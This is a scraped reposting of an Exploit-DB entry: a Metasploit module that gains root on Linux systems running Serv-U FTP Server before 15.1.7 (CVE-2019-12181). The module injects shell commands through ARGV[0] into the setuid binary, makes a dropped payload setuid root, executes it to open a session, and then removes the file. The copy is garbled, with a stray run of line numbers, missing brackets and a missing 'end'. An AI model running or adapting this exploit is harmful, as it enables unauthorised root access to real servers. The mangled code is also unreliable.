Serv-U FTP Server – prepareinstallation Privilege Escalation (Metasploit)

Exploit Database
109 阅读

作者： Metasploit

日期： 2019-07-03
类别：
- local
平台：
- linux
来源：https://www.exploit-db.com/exploits/47072/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

# This module requires Metasploit: https://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Local

Rank = ExcellentRanking

include Msf::Post::File

include Msf::Post::Linux::Kernel

include Msf::Post::Linux::Priv

include Msf::Post::Linux::System

include Msf::Exploit::EXE

include Msf::Exploit::FileDropper

def initialize(info = {})

super(update_info(info,

'Name' => 'Serv-U FTP Server prepareinstallation Privilege Escalation',

'Description'=> %q{

This module attempts to gain root privileges on systems running

Serv-U FTP Server versions prior to 15.1.7.

The <code>Serv-U</code> executable is setuid <code>root</code>, and uses <code>ARGV[0]

in a call to <code>system()</code>, without validation, when invoked with

the <code>-prepareinstallation</code> flag, resulting in command execution

with root privileges.

This module has been tested successfully on Serv-U FTP Server

version 15.1.6 (x64) on Debian 9.6 (x64).

'License'=> MSF_LICENSE,

'Author' =>

[

'Guy Levin', # @va_start - Discovery and exploit

'bcoles' # Metasploit

'DisclosureDate' => '2019-06-05',

'References' =>

[

['CVE', '2019-12181'],

['EDB', '47009'],

['PACKETSTORM', '153333'],

['URL', 'https://github.com/guywhataguy/CVE-2019-12181'],

['URL', 'https://github.com/bcoles/local-exploits/tree/master/CVE-2019-12181'],

['URL', 'https://blog.vastart.dev/2019/06/cve-2019-12181-serv-u-exploit-writeup.html'],

['URL', 'https://documentation.solarwinds.com/en/success_center/servu/Content/Release_Notes/Servu_15-1-7_release_notes.htm'],

['URL', 'https://support.solarwinds.com/SuccessCenter/s/article/Serv-U-Potential-elevation-of-privileges-on-Linux-systems']

'Platform' => ['linux'],

'Arch' =>

[

ARCH_X86,

ARCH_X64,

ARCH_ARMLE,

ARCH_AARCH64,

ARCH_PPC,

ARCH_MIPSLE,

ARCH_MIPSBE

'SessionTypes' => ['shell', 'meterpreter'],

'Targets'=> [['Auto', {}]],

'DefaultOptions' =>

{

'PrependSetresuid' => true,

'PrependSetresgid' => true,

'PrependFork'=> true,

'WfsDelay' => 30

'DefaultTarget'=> 0))

register_options [

OptString.new('SERVU_PATH', [true, 'Path to Serv-U executable', '/usr/local/Serv-U/Serv-U'])

]

register_advanced_options [

OptBool.new('ForceExploit', [false, 'Override check result', false]),

OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])

]

end

def servu_path

datastore['SERVU_PATH']

end

def base_dir

datastore['WritableDir'].to_s

end

def upload(path, data)

print_status "Writing '#{path}' (#{data.size} bytes) ..."

rm_f path

write_file path, data

register_file_for_cleanup path

end

def upload_and_chmodx(path, data)

upload path, data

chmod path

end

def check

unless command_exists? 'bash'

vprint_error 'bash shell is not available'

return CheckCode::Safe

end

vprint_good 'bash shell is available'

unless cmd_exec("test -x '#{servu_path}' && echo true").include? 'true'

vprint_error "#{servu_path} is not executable"

return CheckCode::Safe

end

vprint_good "#{servu_path} is executable"

unless setuid? servu_path

vprint_error "#{servu_path} is not setuid"

return CheckCode::Safe

end

vprint_good "#{servu_path} is setuid"

CheckCode::Detected

end

def exploit

unless check == CheckCode::Detected

unless datastore['ForceExploit']

fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'

end

print_warning 'Target does not appear to be vulnerable'

end

if is_root?

unless datastore['ForceExploit']

fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'

end

unless writable? base_dir

fail_with Failure::BadConfig, "#{base_dir} is not writable"

end

if nosuid? base_dir

fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"

end

payload_name = ".#{rand_text_alphanumeric 10..15}"

@payload_path = "#{base_dir}/#{payload_name}"

upload_and_chmodx @payload_path, generate_payload_exe

argv0 = %Q{\\";chown root #{@payload_path};chmod u+s #{@payload_path};chmod +x #{@payload_path}\\"}

cmd = %Q{bash -c 'exec -a "#{argv0}" #{servu_path} -prepareinstallation'}

vprint_status "Executing command: #{cmd}"

cmd_exec cmd

unless setuid? @payload_path

fail_with Failure::Unknown, 'Failed to set payload setuid root'

end

print_good "#{@payload_path} setuid root successfully"

print_status 'Executing payload...'

res = cmd_exec "#{@payload_path} &"

vprint_line res

end

def on_new_session(session)

if session.type.eql? 'meterpreter'

session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'

session.fs.file.rm @payload_path

else

session.shell_command_token "rm -f '#{@payload_path}'"

end

ensure

super

end